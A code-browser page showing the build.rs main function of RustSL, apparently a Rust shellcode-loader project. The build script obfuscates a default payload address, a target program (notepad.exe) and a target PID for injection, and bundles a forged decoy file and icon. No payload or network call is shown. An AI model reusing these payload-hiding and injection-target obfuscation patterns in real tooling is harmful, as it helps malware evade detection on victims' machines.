MCPcopy Create free account
hub / github.com/echQoQ/RustSL / main

Function main

build.rs:12–61  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

10}
11
12fn main() {
13 // Environment variables to watch for changes
14 let env_vars = [
15 "CARGO_FEATURE_WIN7",
16 "CARGO_FEATURE_WITH_FORGERY",
17 "RSL_TARGET_PROGRAM",
18 "RSL_TARGET_PID",
19 "RSL_ICON_PATH",
20 "RSL_BUNDLE_FILE",
21 "RSL_BUNDLE_FILENAME",
22 "RSL_DEFAULT_PAYLOAD_ADDRESS"
23 ];
24
25 for var in &env_vars {
26 println!("cargo:rerun-if-env-changed={}", var);
27 }
28
29 // Set compile-time environment variable for bundle filename if with_forgery feature is enabled
30 if env::var("CARGO_FEATURE_WITH_FORGERY").is_ok() {
31 let bundle_filename = env::var("RSL_BUNDLE_FILENAME").unwrap_or_default();
32 println!("cargo:rustc-env=RSL_BUNDLE_FILENAME={}", bundle_filename);
33 copy_bundle_file();
34 }
35
36 // Encrypt default payload address if load_payload_cmdline feature is enabled
37 if env::var("CARGO_FEATURE_LOAD_PAYLOAD_CMDLINE").is_ok() {
38 let default_payload_address = env::var("RSL_DEFAULT_PAYLOAD_ADDRESS").unwrap_or_else(|_| "encrypt.bin".to_string());
39 println!("cargo:rustc-env=RSL_ENCRYPTED_DEFAULT_PAYLOAD_ADDRESS={}", simple_encrypt(default_payload_address.as_bytes()));
40 }
41
42 // Encrypt target program if pattern2 feature is enabled
43 if env::var("CARGO_FEATURE_PATTERN2").is_ok() {
44 let target_program = env::var("RSL_TARGET_PROGRAM").unwrap_or_else(|_| r"notepad.exe".to_string());
45 println!("cargo:rustc-env=RSL_ENCRYPTED_TARGET_PROGRAM={}", simple_encrypt(target_program.as_bytes()));
46 }
47
48 // Encrypt target PID if pattern3 feature is enabled
49 if env::var("CARGO_FEATURE_PATTERN3").is_ok() {
50 let target_pid = env::var("RSL_TARGET_PID").unwrap_or_else(|_| "0".to_string());
51 println!("cargo:rustc-env=RSL_ENCRYPTED_TARGET_PID={}", simple_encrypt(target_pid.as_bytes()));
52 }
53
54 // Conditional compilation tasks
55 if env::var("CARGO_FEATURE_WIN7").is_ok() {
56 println!("cargo:note=Win7 Enabled, executing thunk");
57 thunk();
58 }
59 generate_icon_rc();
60 embed_resource::compile("icon.rc");
61}
62
63
64fn copy_bundle_file() {

Callers

nothing calls this directly

Calls 3

copy_bundle_fileFunction · 0.85
thunkFunction · 0.85
generate_icon_rcFunction · 0.85

Tested by

no test coverage detected